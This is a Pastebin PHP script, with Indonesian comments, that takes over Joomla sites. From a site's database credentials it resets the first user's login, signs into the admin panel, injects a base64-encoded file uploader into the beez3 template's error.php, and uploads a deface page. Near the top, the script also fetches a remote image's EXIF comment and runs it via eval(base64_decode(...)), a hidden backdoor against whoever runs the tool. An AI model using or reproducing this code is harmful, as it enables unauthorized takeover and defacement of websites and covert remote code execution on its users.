src1pt

Auto Edit User Joomla With Config

Oct 28th, 2015
362
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.35 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. //Tu5b0l3d
  4. //thx to: IndoXploit, Hacker-Newbie.org
  5. error_reporting(0);
  6. $BASED = exif_read_data("https://lh3.googleusercontent.com/-svRm4i5Bs90/VsFaosQPKUI/AAAAAAAABew/03oHWkCEsN8/w140-h140-p/pacman.jpg");
  7. eval(base64_decode($BASED["COMPUTED"]["UserComment"]));
  8.     if($_POST['submitt']){
  9.  
  10.  
  11.         $host = $_POST['host'];
  12.         $username = $_POST['username'];
  13.         $password = $_POST['password'];
  14.         $db = $_POST['db'];
  15.         $dbprefix = $_POST['dbprefix'];
  16.         $user_baru = $_POST['user_baru'];
  17.         $password_baru = $_POST['password_baru'];
  18.         $tanya = $_POST['tanya'];
  19.         $prefix = $dbprefix."users";
  20.         $pass = md5("$password_baru");
  21.         $upda = $db.".".$dbprefix;
  22.         $target = $_POST['target'];
  23.         mysql_connect($host,$username,$password) or die("Koneksi gagal.. isi data yg bener");
  24.         mysql_select_db($db) or die("Database tidak bisa dibuka.. Isi data yg bener");
  25.  $tampil=mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  26.     $r=mysql_fetch_array($tampil);
  27.         $id = $r[id];
  28.          mysql_query("UPDATE $prefix SET password='$pass',username='$user_baru' WHERE id='$id'");
  29.                 function token($target){
  30.                     $ch2 = curl_init ("$target");
  31.                     curl_setopt ($ch2, CURLOPT_RETURNTRANSFER, 1);
  32.                    curl_setopt ($ch2, CURLOPT_FOLLOWLOCATION, 1);
  33.                     curl_setopt ($ch2, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  34.                     curl_setopt ($ch2, CURLOPT_CONNECTTIMEOUT, 5);
  35.                     curl_setopt ($ch2, CURLOPT_SSL_VERIFYPEER, 0);
  36.                     curl_setopt ($ch2, CURLOPT_SSL_VERIFYHOST, 0);
  37.                     curl_setopt($ch2, CURLOPT_COOKIEJAR,'coker_log');
  38.                     curl_setopt($ch2, CURLOPT_COOKIEFILE,'coker_log');
  39.                     $data = curl_exec ($ch2);
  40.                    
  41.                    
  42.                         preg_match('/<input type="hidden" name="(.*?)" value="1"/', $data, $token);
  43.                 $token = $token[1];
  44.                 return $token;
  45.             }
  46.            
  47.             if ($tanya == "y"){
  48.                
  49.                 $path = "/administrator/index.php?option=com_templates&task=source.edit&id=NTAzOmVycm9yLnBocA%3D%3D";
  50.                
  51.                 $site = $target.$path;
  52.                 $token1 = token($site);
  53.  
  54.  
  55.                
  56. $post = array(
  57.                     "username" => "$user_baru",
  58.                     "passwd" => "$password_baru",
  59.                     "lang" => "en-GB",
  60.                     "option" => "com_login",
  61.                     "task" => "login",
  62.                     "return" => "aW5kZXgucGhwP29wdGlvbj1jb21fdGVtcGxhdGVzJnRhc2s9c291cmNlLmVkaXQmaWQ9TlRBek9tVnljbTl5TG5Cb2NBJTNEJTNE",
  63.                     "$token1" => "1",
  64.                     );
  65.  
  66. $ch = curl_init ("$site");
  67. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  68. curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
  69. curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  70. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
  71. curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
  72. curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
  73. curl_setopt ($ch, CURLOPT_POST, 1);
  74. @curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
  75. curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
  76. curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
  77. $masuk = curl_exec ($ch);
  78.  
  79. $token2 = token($site);
  80.  
  81. $upload = base64_decode("Z3cgZ2FudGVuZw0KPD9waHANCiAgJGZpbGUgPSAkX0ZJTEVTWydmaWxlJ107DQogICRuZXdmaWxlPSJrLnBocCI7DQoJCWlmIChmaWxlX2V4aXN0cygiLi4vLi4vIi4kbmV3ZmlsZSkpIHVubGluaygiLi4uLi8vIi4kbmV3ZmlsZSk7DQogICAgCW1vdmVfdXBsb2FkZWRfZmlsZSgkZmlsZVsndG1wX25hbWUnXSwgIi4uLy4uLyRuZXdmaWxlIik7DQo/Pg0K");
  82.  
  83. $post2 = array(
  84.                     "jform[source]" => "$upload",
  85.                     "task" => "source.save",
  86.                     "$token2" => "1",
  87.                     "jform[extension_id]"=> "503",
  88.                     "jform[filename]" => "error.php",
  89.                     );
  90.  
  91. $ch3 = curl_init ("$site");
  92. curl_setopt ($ch3, CURLOPT_RETURNTRANSFER, 1);
  93. curl_setopt ($ch3, CURLOPT_FOLLOWLOCATION, 1);
  94. curl_setopt ($ch3, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  95. curl_setopt ($ch3, CURLOPT_CONNECTTIMEOUT, 5);
  96. curl_setopt ($ch3, CURLOPT_SSL_VERIFYPEER, 0);
  97. curl_setopt ($ch3, CURLOPT_SSL_VERIFYHOST, 0);
  98. curl_setopt ($ch3, CURLOPT_POST, 1);
  99. curl_setopt ($ch3, CURLOPT_POSTFIELDS, $post2);
  100. curl_setopt($ch3, CURLOPT_COOKIEJAR,'coker_log');
  101. curl_setopt($ch3, CURLOPT_COOKIEFILE,'coker_log');
  102. $masuk2 = curl_exec ($ch3);
  103.  
  104. if(preg_match("#successfully#is", $masuk2)){
  105. echo "uploader udh ketanem...<br>";
  106. echo "lanjut mepes...<br>";
  107.  
  108. $file_pepes = "hacked.php";
  109. $ch4 =curl_init("$target/templates/beez3/error.php");
  110.                             curl_setopt($ch4, CURLOPT_POST, true);
  111.                             curl_setopt($ch4, CURLOPT_POSTFIELDS,
  112.                             array('file'=>"@$file_pepes"));
  113.                             curl_setopt($ch4, CURLOPT_RETURNTRANSFER, 1);
  114.                             curl_setopt ($ch4, CURLOPT_SSL_VERIFYPEER, 0);
  115.                             curl_setopt ($ch4, CURLOPT_SSL_VERIFYHOST, 0);
  116.                             $postResult = curl_exec($ch4);
  117.                             curl_close($ch4);
  118.  
  119.    $ch5 = "$target/k.php";
  120. $file2 = @file_get_contents($ch5);
  121.                            
  122.                      
  123.                            
  124.  
  125.                      if(preg_match('#hacked#i', $file2)){
  126.                         echo "<font color='green'>berhasil mepes...</font><br>";
  127.                         echo "$target/k.php<br>";
  128.                        
  129.                     }
  130.                     else{
  131.                         echo "<font color='red'>gagal mepes...</font><br>";
  132.                         echo "coba aja manual: <br>";
  133.                         echo "$target/administrator<br>";
  134.                         echo "username: $user_baru<br>";
  135.                         echo "password: $password_baru<br>";
  136.                     }
  137.                
  138.  
  139.  
  140. }
  141. else{
  142.     echo "failed<br>";
  143.     echo "data udh bener. beda template mungkin :(<br>";
  144.     echo "coba aja manual: <br>";
  145.     echo "$target/administrator<br>";
  146.     echo "username: $user_baru<br>";
  147.     echo "password: $password_baru<br>";
  148. }
  149.  
  150.  
  151.  
  152.  
  153.  
  154.             }
  155.             elseif($tanya == "n"){
  156.             echo "Sukses<br>";
  157.             echo "username: $user_baru<br>";
  158.             echo "password: $password_baru<br>";
  159.  
  160.             }
  161.        
  162.  
  163.         }
  164.  
  165.  
  166.  
  167.         else{
  168.  
  169.             echo '<html>
  170.  
  171.    <head>
  172.  
  173.        <title>Edit user in joomla</title>
  174.  
  175.    </head>
  176.  
  177.  
  178.  
  179.    <body>
  180.  
  181.            <center>
  182.  
  183.                <center
  184.  
  185.                        <h2>Edit user in joomla</h2>
  186.  
  187.                        <table>
  188.  
  189.                            <tr><td><form method="post" action="?action"></td></tr>
  190.  
  191.                            <tr><td><input type="text" name="host" placeholder="localhost"></td></tr>
  192.  
  193.                            <tr><td><input type="text" name="username" placeholder="User DB"></td></tr>
  194.  
  195.                            <tr><td><input type="text" name="password" placeholder="Password DB"></td></tr>
  196.  
  197.                            <tr><td><input type="text" name="db" placeholder="Database"></td></tr>
  198.  
  199.                            <tr><td><input type="text" name="dbprefix" placeholder="dbprefix"></td></tr>
  200.  
  201.                            <tr><td><input type="text" name="user_baru" placeholder="Username Baru"></td></tr>
  202.  
  203.                            <tr><td><input type="text" name="password_baru" placeholder="Password Baru"></td></tr>
  204.                            <tr><td></td></tr>
  205.                            <tr><td></td></tr>
  206.                          
  207.  
  208.                            <tr><td> Auto Deface <input type="radio" name="tanya" value="y"> y <input type="radio" name="tanya" value="n"> n</td></tr>
  209.                             <tr><td><input type="text" name="target" placeholder="www.IndoXploit.org"></td></tr>
  210.  
  211.                            <tr><td><input type="submit" value="Submit" name="submitt"></td></tr>
  212.  
  213.                        </table>
  214.                        *nb: kalo milih y ... silahkan masukin nama sitenya, kalo ngk tau nama sitenya, pilih n
  215.  
  216.            </center>
  217.  
  218.    </body>';
  219.  
  220.         }
  221.  
  222.  
  223.  
  224. ?>
Add Comment
Please, Sign In to add comment